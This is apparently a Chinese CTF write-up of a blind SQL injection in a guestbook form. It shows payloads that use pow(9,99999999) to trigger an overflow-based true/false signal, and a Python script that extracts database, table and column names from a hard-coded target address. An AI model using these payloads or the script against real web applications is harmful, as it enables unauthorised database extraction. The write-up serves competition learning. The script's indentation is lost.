hw结束了,省上的hw又接着了,哭~。弱鸡的我只有继续当苦力,苦啊苦。昨天看见了一道sql注入题。(不知道什么比赛)
访问页面,显示一个留言板,首先尝试xss发现没什么用,一直返回受影响行数1发帖成功,扫了下目录,也没什么有用的。接着尝试注入发现输入单引号发现,返回受影响行数-1 发帖失败,应该是存在注入。
经过测试,发现不管输入什么都返回受影响行数1发帖成功。只有开始测试的时候没有闭合单引号返回受影响行数-1 发帖失败,后面经过分析,如下:
SQL语法正确的话,会显示”受影响行数1发帖成功” 。例如:title=1' and 1=2 and pow(9,99999999) or '1&author=1&content=1
SQL语法不正确的话,会显示”受影响行数-1 发帖失败” 。例如:title=1' and 1=1 and pow(9,99999999) or '1&author=1&content=1
注:pow(9,99999999)会导致数据库因为数字过大而出错,当title=1' and 1=2 时,条件不成立,便不执行接下来的pow(9,99999999)函数,sql语法正确。反之执行导致异常。
和之前国赛的那道全世界最简单的sql类似。
由此可进行盲注跑数据,编写脚本或者修改sqlmap的temper。
辣鸡脚本如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{},@:\/_-."
name = ""
url = "http://115.238.30.26:13641/index.php"
yes = "受影响行数-1"
for i in range(40):
print(i)
for char in chars:
#数据库sqy 表comment 列id,username,title,content,time
#payload = "1' and ascii(substr(database(),{},1))={} and pow(9,99999999) or '1".format(str(i), ord(char))
payload = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='comment'),{},1))={} and pow(9,99999999) or '1".format(str(i), ord(char))
#payload = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='say'),{},1))={} and pow(9,99999999) or '1".format(str(i), ord(char))
data = {"title": payload,
"author": 1,
"content": 1
}
res = requests.post(url, data=data).text
if yes in res:
name += char
print(name)
break